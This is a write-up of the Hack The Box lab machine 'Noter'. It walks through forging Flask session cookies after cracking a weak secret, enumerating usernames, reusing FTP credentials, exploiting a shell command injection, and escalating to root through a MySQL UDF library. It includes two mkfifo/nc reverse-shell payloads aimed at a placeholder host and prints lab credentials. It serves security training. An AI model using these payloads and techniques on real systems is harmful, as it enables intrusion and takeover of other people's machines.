../ HTB boot2root - Noter (Medium)

Noter is a medium difficulty linux box.

If you are italian you might want to check out the related video.

This machine consists in abusing a flask-jwt signed with a weak password, some user enumeration of a custom webapp as well as some minor ftp enumeration, some custom python code review to spot an RCE, and finally a privilege escalation that abuses an instance of mysql executed as the root user by loading a dynamic library with custom code.

Enjoy the read!



#First scans

Quick scans with nmap reveal the following

  nmap -p- noter
  Nmap scan report for noter (10.129.77.147)
  Host is up (0.051s latency).
  Not shown: 65532 closed tcp ports (conn-refused)
  PORT     STATE SERVICE
  21/tcp   open  ftp
  22/tcp   open  ssh
  5000/tcp open  upnp

  Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds

With more specific scans to understand more about port 5000 we get

  nmap -sC -sV noter
  Nmap scan report for noter (10.129.77.147)
  Host is up (0.052s latency).
  Not shown: 997 closed tcp ports (conn-refused)
  PORT     STATE SERVICE VERSION
  21/tcp   open  ftp     vsftpd 3.0.3
  22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
  |   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
  |_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
  5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
  |_http-title: Noter
  Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds

As we can see, we have an ftp server, an ssh server and a webapp written in python. We'll start from the webapp.

By going to http://noter:5000 we get a webapp which seems to be a noter application, that is, an application for taking and viewing notes.

Let us register a new user with the credentials "leonardo:admin".

After having succesfully registered the user, we can login into the application, add new notes, and view the notes already added.

What's interesting about this application is the flask cookie that is generated and signed by the server after the login is correctly authenticated.

GET /dashboard HTTP/1.1
Host: noter:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://noter:5000/add_note
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=.eJwNxcEJwCAQBMBWZN9W4DdlBJFDNyZgFDx9ib0n85mFcBXRmwp3LpjxB50xUhUWtQ2ao1MGE_z2FqXlzBSeCjf6pMVU9iov4VDYqvTUsD8X8h4l.Yx4DzQ.v9IYv9ykatzIcC5DGbN6QlNrRTg
Connection: close

In particular the cookie value is the following one

.eJwNxcEJwCAQBMBWZN9W4DdlBJFDNyZgFDx9ib0n85mFcBXRmwp3LpjxB50xUhUWtQ2ao1MGE_z2FqXlzBSeCjf6pMVU9iov4VDYqvTUsD8X8h4l.Yx4DzQ.v9IYv9ykatzIcC5DGbN6QlNrRTg

To view the content of such cookie we can use the tool flask-unsign as follows

  flask-unsign --decode --cookie '.eJwNxcEJwCAQBMBWZN9W4DdlBJFDNyZgFDx9ib0n85mFcBXRmwp3LpjxB50xUhUWtQ2ao1MGE_z2FqXlzBSeCjf6pMVU9iov4VDYqvTUsD8X8h4l.Yx4DzQ.v9IYv9ykatzIcC5DGbN6QlNrRTg'

When executed it gives back the following dictionary encoded value

{
 "_flashes": [("success", "note Created")],
 "logged_in": True,
 "username": "leonardo"
}

as we can see, the cookie contains information about the username, whether the user is currently logged in, and also other potential flashes messages which are shown after certain actions, such as the creation of a new note.

We can break the cookie to obtain the secret used to sign it by using the same tool, flask-unsign but this time with a wordlist such as rockyou.txt.

  flask-unsign --wordlist ~/repos/wordlists/rockyou.txt --unsign --cookie '.eJwNxcEJwCAQBMBWZN9W4DdlBJFDNyZgFDx9ib0n85mFcBXRmwp3LpjxB50xUhUWtQ2ao1MGE_z2FqXlzBSeCjf6pMVU9iov4VDYqvTUsD8X8h4l.Yx4DzQ.v9IYv9ykatzIcC5DGbN6QlNrRTg' --no-literal-eval
[*] Session decodes to: {'_flashes': [('success', 'note Created')], 'logged_in': True, 'username': 'leonardo'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17536 attempts
b'secret123'

As we can see, the secret used to sign the cookie seems to be the value secreet123. This allows us to forge new valid cookies with our arbitrary data

  flask-unsign --sign --cookie "{'logged_in': True, 'username': 'prova'}" --secret 'secret123'

To actually use this ability to forge new valid cookies we first have to enumerate the proper users of the webapp. This can be done by abusing an information leakage that happens in the login page.

In particular, if we try to login with a username that already exists, such as the one we created, say "leo", we get the message "Invalid login"

If we instead login with a username that does not exist, we get the message "Invalid credentials", which is a different message from the one before.

This means that we can infer if a username exists or not depending on how the server replies to use. Let us then use this fact with a fuzzing tool like wfuzz and a wordlist of usernames such as SecLists/Usernames/xato-net-10-million-usernames-dup.txt to figure out which users exist on the webapp.

By considering that the POST request for a proper login has the following structure

POST /login HTTP/1.1
Host: noter:5000
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://noter:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://noter:5000/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=asd&password=asd

we can fuzz with wfuzz as follows

  wfuzz -z file,xato-net-10-million-usernames-dup.txt -d "username=FUZZ&password=asd" --ss "Invalid login" http://noter:5000/login
Target: http://noter:5000/login
Total requests: 624370

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000113:   200        68 L     110 W      2025 Ch     "blue"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 11.27245
Processed Requests: 287
Filtered Requests: 286
Requests/sec.: 25.46028

As we can see, blue seems to be a valid user.


We can test our hypothesis by creating the following valid cookie

  flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yx4Fdg.-LvF42dp9WIBy3BG_P7U5H80Eu0

We can then put the cookie into the browser to login as blue and view his notes

There are two different notes saved in his account, which are the following:

  • Noter Premium Membership

           Noter Premium Membership
           Written by ftp_admin on Mon Dec 20 01:52:32 2021
    
           Hello, Thank you for choosing our premium service. Now you are capable of
           doing many more things with our application. All the information you are going
           to need are on the Email we sent you. By the way, now you can access our FTP
           service as well. Your username is 'blue' and the password is 'blue@Noter!'.
           Make sure to remember them and delete this.
           (Additional information are included in the attachments we sent along the
           Email)
    
           We all hope you enjoy our service. Thanks!
    
           ftp_admin
    
  • Before the weekend

           Before the weekend
           Written by blue on Wed Dec 22 05:43:46 2021
    
             * Delete the password note
    ​       * Ask the admin team to change the password
    

#Ftp enumeration

From the previous notes, we see that the ftp credentials for the user blue are

blue:blue@Noter!

By logging into the ftp server we get the following

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
226 Directory send OK.

Notice in particular the file policy.pdf. We can download it and read it to read the following phrase

Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)

By combining this knowledge with the fact that the first message in the blue's dashboard was signed by the user ftp_admin, we can infer that its still using the default password, which, following the logic of the application, should be ftp_admin@Noter!. Therefore we find the new following credentials

ftp_admin:ftp_admin@Noter!

By logging once again into the ftp server with these new credentials, we find two backups of the code that is running live on the webapp.

leo@kali:~/repos/htb/machines/noter$ ftp noter
Connected to noter.
220 (vsFTPd 3.0.3)
Name (noter:leo): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.

#Code analysis and RCE

By downloading, extracting and analyzing those two zips, we discover that the latest version of the two, which is app_backup_1638395546.zip, contains also the code for the exporting function, which can be done both remotely and locally. We'll focus on the remote one as the other seems to not work correctly.

The function of interest is reported below

@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")

                    if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                    return render_template('export_note.html', error="Error occured!")


            else:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")

        except Exception as e:
            return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    else:
        abort(403)

As we can see, this code uses the pyrequest library to perform a GET request to a url which is given by the user in the POST request. After the request is done, the md-to-pdf.js code is executed with node. Note however how the command is constructed

command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

As we can see, we're running subprocess.run with a command string of which we seem to be able to control the r.text.strip() value. This looks highly vulnerable to an RCE.


To test our hypothesis we can start a python local web server. Note however that in the url we specify in the request we send to the server through the webapp we have to explictly request an .md resource, as initially the url is filtered through the parse_url function.

def parse_url(url):
    url = url.lower()
    if not url.startswith ("http://" or "https://"):
        return False, "Invalid URL"

    if not url.endswith('.md'):
            return False, "Invalid file type"

    return True, None

So, to understand if we have connectivity, we can start with a simple .md file

To actually bypass the $'{r.text.strip()}' string construction and put a reverse shell in the payload we can observe with the following helper python script that by putting an initial ' ; we can add our arbitrary code which will be executed by the server

#!/usr/bin/env python3

# this script is saved on a file called test.py

text = "' hello # "
rand_int = "1999"
command = f"node misc/md-to-pdf.js  $'{text.strip()}' {rand_int}"
print(command)
leo@kali:~/repos/htb/machines/noter/src$ python3 test.py
node misc/md-to-pdf.js  $'' hello #' 1999

This means that the following payload should work

echo "' ; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc YOUR_IP YOUR_PORT >/tmp/f ; # " > test.md

and indeed, it does work, as it gets us a reverse shell

Once inside we can immediately obtain the user flag which is situated in /home/svc/user.txt. Let us continue with privilege escalation.

#Privilege escalation with mysql as root

Even though we cannot check all processes with ps aux, we know from the code that there is an instace of mysql running, and if we check the ports with netstat we see port 3306 open locally, which is typically the port used by mysql

svc@noter:~$ netstat -ltpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1250/python3
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -

Notice also that by analyzing the backup app_backup_1635803546.zip we also found the following creds

app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'

By trying out this credentials we are able to log within mysql

svc@noter:~$ mysql -u root -pNildogg36

To test under which user the process is running, we can save a file on the filesystem with the OUTPUT keyword

MariaDB [(none)]> select 1 into OUTFILE '/tmp/test';
Query OK, 1 row affected (0.001 sec)

and checking the owner of the resulting file

svc@noter:/tmp$ ls -lha
total 96K
drwxrwxrwt 23 root root 4.0K Sep 11 16:46 .
drwxr-xr-x 19 root root 4.0K May  2 23:05 ..
prw-r--r--  1 svc  svc     0 Sep 11 16:41 f
drwxrwxrwt  2 root root 4.0K Sep 11 15:29 .font-unix
drwxrwxrwt  2 root root 4.0K Sep 11 15:29 .ICE-unix
...
-rw-r--r--  1 root root    2 Sep 11 16:46 test
drwxrwxrwt  2 root root 4.0K Sep 11 15:29 .Test-unix
drwx------  2 root root 4.0K Sep 11 15:31 vmware-root_756-2965382642
drwxrwxrwt  2 root root 4.0K Sep 11 15:29 .X11-unix
drwxrwxrwt  2 root root 4.0K Sep 11 15:29 .XIM-unix

As we can see, the mysql process is currently executed under the root account. This means we can exploit it to do our privilege escalation.


To actually get root we can use the raptor_udf2.c code, which is used to create a shared object in order to load into the mysql process in order to call custom commands as root.

First, let us download it

curl https://raw.githubusercontent.com/1N3/PrivEsc/master/mysql/raptor_udf2.c > raptor_udf2.c

Then we can transfer it into the remote machine in the /tmp/ folder and compile it

# compile but do not link
gcc -g -c raptor_udf2.c

# create the shared library
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

After having compiled it we can login to mysql

mysql -u root -pNildogg36

start a reverse shell listener and execute the following commands within the mysql session.

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc YOUR_IP YOUR_PORT >/tmp/f');

and that's it, with this we should be root and obtain the root flag situated in /root/root.txt.